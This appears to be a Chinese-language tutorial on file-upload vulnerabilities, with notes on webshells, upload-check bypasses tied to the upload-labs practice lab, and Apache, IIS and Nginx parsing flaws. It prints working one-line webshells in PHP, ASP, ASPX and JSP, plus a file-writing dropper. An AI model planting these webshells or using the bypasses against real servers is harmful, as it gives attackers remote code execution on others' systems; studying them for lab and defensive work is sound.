文件上传
一、Webshell
1.1 简介
写入webshell的目的就是获得对服务器的执行操作权限
webshell就是一个木马后门。
webshell大多以动态脚本形式出现,一般不会在系统日志中留下记录,只会在web日志中留下数据传输记录。
1.2 分类
- 根据文件大小分类:一句话木马、小马、大马
- 根据脚本类型分类:jsp、asp、aspx、php
上传小马的目的是用来上传大马。直接传大马动静太大,容易被拦下。小马一般只包含文件上传功能,而大马功能更多。
1.3 常见一句话木马
php
<?php eval($_GET[pass]);?>
<?php eval($_POST[pass]);?>
<?php @$a = $_COOKIE[1];$b='';$c='';@assert($b.$a);?>
asp
<%eval request("pass")%>
aspx
<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>
jsp
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
1.4 一句话木马写小马
<?php fputs(fopen("文件名.php","w"),'<?php 文件内容');?>
注意文件内容需要进行编码,因为不能出现特殊字符
<?php fputs(fopen("文件名.php","w"),'<?php 文件内容');?>
1.5 Webshell管理工具
- 中国菜刀
- CKnife
- Weevely3
- 中国蚁剑(AntSword)
- 冰蝎(Behinder)
- 哥斯拉
二、文件上传
2.1 漏洞产生的条件
文件上传限制被绕过
文件上传之后的地址可以被找到
文件可执行
2.2 漏洞可能存在的位置
网站的一切上传功能,比如头像上传。
2.3 常见的文件上传检测方式
- 客户端
JS
检测(检测文件扩展名) - 服务端
MIME
类型检测(检测content-type
内容) - 服务端目录路径检测(检测
path
相关参数) - 服务端文件扩展名检测(检测跟文件
extension
相关内容) - 服务端文件内容检测(检测内容是否有恶意代码)等
2.4 文件上传绕过
2.4.1 客户端 JS
检测(检测文件扩展名)
原理:对上传文件的文件扩展名进行提取,再依照 js
代码对其进行检测
判断方式:上传被阻止时,burp抓不到包。因为在前端就没有通过审查,所以并没有对后端发起请求,所以抓不到包。
绕过方式:
- 浏览器禁用
js
- 对前端代码进行修改,去掉审查部分
- burp抓包绕过
例子:upload-labs-pass01
2.4.2 服务端 MIME
类型检测(检测content-type
内容)
原理:检测文件上传过程中 http
包的 Content-Type
字段
绕过方式:用 burpsuite
抓包修改请求包中的 Content-Type
字段
例子:upload-labs-pass02
2.4.3 服务端文件后缀检测--黑名单类
原理:对上传文件的文件拓展名进行提取,再依照php代码中的黑名单列表进行检测。
绕过方式:
- 后缀变形绕过(大小写、php5、phtml)
- 重写绕过(过滤方式是将php替换为空,但是仅替换一次,所以可以上传 ph
phpp ->php) - Windows特性绕过(空格、点
.
、::$DATA
) - %00截断(%00是NULL,当程序输出NULL时,以为数据结束了。所以可以上传 a.php
%00.jpg->a.php) - 配合Apache解析漏洞(Apache解析是从右往左判断,遇到不可识别的就继续往左判断。所以可以上传a.php
.jpp.pnn->a.php) - .htaccess绕过(这是Apache的一个配置文件,可以用来控制所在目录访问权限以及解析设置,所以可以通过该文件,将a.jpg文件当做php文件来解析)
例子:upload-labs-pass03/4/5/6/7/8/9/10
2.4.4 服务端文件后缀检测--白名单类
绕过方式:
%00
截断0x00
截断MIME
绕过
例子:
2.4.5 服务端文件内容检测(检测内容是否有恶意代码)
原理:主要有两种检测方法:1.通过上传文件内容开始处的文件头(文件幻数)来判断;2.文件加载检测(一般是图像渲染测试,再严格点是二次渲染)
绕过方式:
- 修改文件头(可用工具WinHex,具体需要添加的文件头是什么直接搜)
- 代码注入绕过(在不破坏文件本身渲染的情况下找一个空白区填充代码,一般是图片的注释区)
- 攻击文件加载器自身(对付二次渲染,比较困难)
例子:
三、中间件解析漏洞
3.1 Apache解析漏洞
Apache解析是从右往左判断,遇到不可识别的就继续往左判断。所以可以上传a.php.jpp.pnn ->a.php
3.2 IIS 6.0解析漏洞
目录解析:服务器默认会把asp目录下的文件都解析成asp文件。
文件解析:服务器默认不解析 ;
后面的内容,所以可以上传 a.asp;.jpg ->a.asp
3.3 IIS 7.0解析漏洞
对任意文件名,只要URL后面追加上 /xxx.php
就会按照php
的方式去解析。
例如上传.../a.jpg/a.php
那么 a.jpg
就会被当做php去解析
3.4 Nginx解析漏洞
-
对任意文件名,只要URL后面追加上
/xxx.php
就会按照php
的方式去解析。例如上传
.../a.jpg/a.php
那么a.jpg
就会被当做php去解析 - 对低版本的Nginx(版本<=0.8.37)可以进行空字节代码执行漏洞攻击,即
xxx%00.php
会被当做php解析
两张导图